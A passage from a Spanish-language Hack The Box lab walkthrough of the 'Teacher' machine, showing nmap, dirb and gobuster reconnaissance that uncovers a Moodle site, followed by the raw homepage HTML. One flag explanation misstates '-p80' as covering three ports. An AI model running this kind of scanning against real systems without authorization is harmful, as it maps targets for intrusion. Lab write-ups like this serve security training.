</span></span><span style="display:flex;"><span>|_  Supported Methods: GET HEAD POST OPTIONS
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>|_http-title: Blackhat highschool
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NSE: Script Post-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 13:10
</span></span><span style="display:flex;"><span>Completed NSE at 13:10, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 13:10
</span></span><span style="display:flex;"><span>Completed NSE at 13:10, 0.00s elapsed
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 11.52 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 5 (196B) | Rcvd: 2 (72B)
</span></span></code></pre></div><ul>
<li><code>-sC</code> para que ejecute los scripts safe-discovery de nse</li>
<li><code>-sV</code> para que me traiga el banner del puerto</li>
<li><code>-p80</code> para unicamente los puertos TCP/22, TCP/80 y TCP/443</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<p>Reconocemos el servicio del servidor <code>Apache 2.4.25</code> sobre el puerto TCP/80. Continuemos por identificar la aplicación sobre este servicio.</p>
<h1 id="files-and-folders">Files and Folders</h1>
<p>Ejecutando <code>dirb</code> para reconocer el servicio tenemos lo siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$ dirb http://10.10.10.153/ -o dirb.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>-----------------
</span></span><span style="display:flex;"><span>DIRB v2.22
</span></span><span style="display:flex;"><span>By The Dark Raver
</span></span><span style="display:flex;"><span>-----------------
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>OUTPUT_FILE: dirb.txt
</span></span><span style="display:flex;"><span>START_TIME: Tue Jan 15 00:36:15 2019
</span></span><span style="display:flex;"><span>URL_BASE: http://10.10.10.153/
</span></span><span style="display:flex;"><span>WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>-----------------
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>GENERATED WORDS: 4612
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Scanning URL: http://10.10.10.153/ ----
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/css/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/fonts/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/images/
</span></span><span style="display:flex;"><span>+ http://10.10.10.153/index.html (CODE:200|SIZE:8028)
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/javascript/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/js/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/
</span></span><span style="display:flex;"><span>+ http://10.10.10.153/phpmyadmin (CODE:403|SIZE:297)
</span></span><span style="display:flex;"><span>+ http://10.10.10.153/server-status (CODE:403|SIZE:300)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.153/css/ ----
</span></span><span style="display:flex;"><span>(!) WARNING: Directory IS LISTABLE. No need to scan it.
</span></span><span style="display:flex;"><span>    (Use mode &#39;-w&#39; if you want to scan it anyway)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.153/fonts/ ----
</span></span><span style="display:flex;"><span>(!) WARNING: Directory IS LISTABLE. No need to scan it.
</span></span><span style="display:flex;"><span>    (Use mode &#39;-w&#39; if you want to scan it anyway)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.153/images/ ----
</span></span><span style="display:flex;"><span>(!) WARNING: Directory IS LISTABLE. No need to scan it.
</span></span><span style="display:flex;"><span>    (Use mode &#39;-w&#39; if you want to scan it anyway)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.153/javascript/ ----
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/javascript/jquery/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.153/js/ ----
</span></span><span style="display:flex;"><span>(!) WARNING: Directory IS LISTABLE. No need to scan it.
</span></span><span style="display:flex;"><span>    (Use mode &#39;-w&#39; if you want to scan it anyway)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.153/manual/ ----
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/da/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/de/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/en/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/es/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/fr/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/images/
</span></span><span style="display:flex;"><span>+ http://10.10.10.153/manual/index.html (CODE:200|SIZE:626)
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/ja/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/ko/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/style/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/tr/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/zh-cn/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.153/moodle/ ----
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/admin/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/analytics/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/auth/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/backup/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/blocks/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/blog/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/cache/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/calendar/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/comment/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/course/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/error/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/files/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/filter/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/group/
</span></span><span style="display:flex;"><span>+ http://10.10.10.153/moodle/index.php (CODE:200|SIZE:27288)
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/install/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/lang/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/lib/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/local/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/login/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/media/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/message/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/mod/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/my/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/notes/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/pix/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/portfolio/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/question/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/rating/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/report/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/repository/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/rss/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/search/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/tag/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/theme/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/user/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/moodle/webservice/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.153/javascript/jquery/ ----
</span></span><span style="display:flex;"><span>+ http://10.10.10.153/javascript/jquery/jquery (CODE:200|SIZE:267180)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.153/manual/da/ ----
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/da/developer/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/da/faq/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/da/howto/
</span></span><span style="display:flex;"><span>+ http://10.10.10.153/manual/da/index.html (CODE:200|SIZE:9117)
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/da/misc/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/da/mod/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/da/programs/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/da/ssl/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.153/manual/de/ ----
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/de/developer/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/de/faq/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/de/howto/
</span></span><span style="display:flex;"><span>+ http://10.10.10.153/manual/de/index.html (CODE:200|SIZE:9544)
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/de/misc/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/de/mod/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/de/programs/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/de/ssl/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.153/manual/en/ ----
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/en/developer/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/en/faq/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/en/howto/
</span></span><span style="display:flex;"><span>+ http://10.10.10.153/manual/en/index.html (CODE:200|SIZE:9352)
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/en/misc/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/en/mod/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/en/programs/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.153/manual/en/ssl/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>(!) FATAL: Too many errors connecting to host
</span></span><span style="display:flex;"><span>    (Possible cause: COULDNT CONNECT)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>-----------------
</span></span><span style="display:flex;"><span>END_TIME: Tue Jan 15 02:30:48 2019
</span></span><span style="display:flex;"><span>DOWNLOADED: 36455 - FOUND: 9
</span></span></code></pre></div><p>Así que una de las aplicaciones sobre el servidor Apache es moodle. Tiene sentido, cuando pensamos en el nombre de la maquina.</p>
<p>Para validar algunas otras carpetas y archivos, ejecute un <code>gobuster</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$ ~/tools/gobuster -u http://10.10.10.153/ -w ~/git/payloads/owasp/dirbuster/directory-list-2.3-small.txt -s &#39;200,204,301,302,307,403,500&#39; -t 20 -x php,txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>Gobuster v2.0.1              OJ Reeves (@TheColonial)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>[+] Mode         : dir
</span></span><span style="display:flex;"><span>[+] Url/Domain   : http://10.10.10.153/
</span></span><span style="display:flex;"><span>[+] Threads      : 20
</span></span><span style="display:flex;"><span>[+] Wordlist     : /home/xbytemx/git/payloads/owasp/dirbuster/directory-list-2.3-small.txt
</span></span><span style="display:flex;"><span>[+] Status codes : 200,204,301,302,307,403,500
</span></span><span style="display:flex;"><span>[+] Extensions   : php,txt
</span></span><span style="display:flex;"><span>[+] Timeout      : 10s
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/15 11:26:39 Starting gobuster
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>/images (Status: 301)
</span></span><span style="display:flex;"><span>/css (Status: 301)
</span></span><span style="display:flex;"><span>/manual (Status: 301)
</span></span><span style="display:flex;"><span>/js (Status: 301)
</span></span><span style="display:flex;"><span>/javascript (Status: 301)
</span></span><span style="display:flex;"><span>/fonts (Status: 301)
</span></span><span style="display:flex;"><span>/phpmyadmin (Status: 403)
</span></span><span style="display:flex;"><span>/moodle (Status: 301)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/15 12:15:25 Finished
</span></span><span style="display:flex;"><span>=====================================================
</span></span></code></pre></div><h1 id="exploring-blackhatuni">Exploring BlackHatUni</h1>
<p>En el root del servidor tenemos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$ http http://10.10.10.153/
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Accept-Ranges: bytes
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 2133
</span></span><span style="display:flex;"><span>Content-Type: text/html
</span></span><span style="display:flex;"><span>Date: Sun, 15 Jan 2019 01:22:53 GMT
</span></span><span style="display:flex;"><span>ETag: &#34;1f5c-56f96b7bed26f-gzip&#34;
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Last-Modified: Wed, 27 Jun 2018 02:53:22 GMT
</span></span><span style="display:flex;"><span>Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!--[if IE 8]&gt; &lt;html class=&#34;ie8 oldie&#34; lang=&#34;en&#34;&gt; &lt;![endif]--&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!--[if gt IE 8]&gt;&lt;!--&gt;</span> &lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span>&gt; <span style="color:#75715e">&lt;!--&lt;![endif]--&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">title</span>&gt;Blackhat highschool&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no&#34;</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span> <span style="color:#a6e22e">media</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;all&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;css/style.css&#34;</span>&gt;
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">&lt;!--[if lt IE 9]&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">		&lt;script src=&#34;http://html5shiv.googlecode.com/svn/trunk/html5.js&#34;&gt;&lt;/script&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">	&lt;![endif]--&gt;</span>
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">header</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;header&#34;</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container&#34;</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;menu-trigger&#34;</span>&gt;&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">nav</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;menu&#34;</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Courses&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;gallery.html&#34;</span>&gt;Students&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Events&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span> 				&lt;/<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;gallery.html&#34;</span>&gt;Teachers&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;gallery.html&#34;</span>&gt;Gallery&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>   				&lt;/<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">nav</span>&gt;
</span></span><span style="display:flex;"><span>			<span style="color:#75715e">&lt;!-- / navigation --&gt;</span>
</span></span><span style="display:flex;"><span>		&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">&lt;!-- / container --&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;/<span style="color:#f92672">header</span>&gt;
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">&lt;!-- / header --&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slider&#34;</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;<span style="color:#f92672">ul</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;bxslider&#34;</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info&#34;</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">h2</span>&gt;Itâs Time to &lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">span</span>&gt;Get back to school&lt;/<span style="color:#f92672">span</span>&gt;&lt;/<span style="color:#f92672">h2</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Check out our new programs&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>				<span style="color:#75715e">&lt;!-- / content --&gt;</span>
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info&#34;</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">h2</span>&gt;Itâs Time to &lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">span</span>&gt;Get back to school&lt;/<span style="color:#f92672">span</span>&gt;&lt;/<span style="color:#f92672">h2</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Check out our new programs&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>				<span style="color:#75715e">&lt;!-- / content --&gt;</span>
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info&#34;</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">h2</span>&gt;Itâs Time to &lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">span</span>&gt;Get back to school&lt;/<span style="color:#f92672">span</span>&gt;&lt;/<span style="color:#f92672">h2</span>&gt;
</span></span><span style="display:flex;"><span>						&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Check out our new programs&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>				<span style="color:#75715e">&lt;!-- / content --&gt;</span>
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;/<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;bg-bottom&#34;</span>&gt;&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">section</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;posts&#34;</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container&#34;</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;pic&#34;</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;121&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;images/2.png&#34;</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span>&gt;&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info&#34;</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">h3</span>&gt;New portal&lt;/<span style="color:#f92672">h3</span>&gt;
</span></span><span style="display:flex;"><span>					&lt;<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>					Since today we have a new portal. With this portal students are able to submit their homework, and teachers are able to see them.
</span></span><span style="display:flex;"><span>					 &lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">article</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">article</span>&gt;
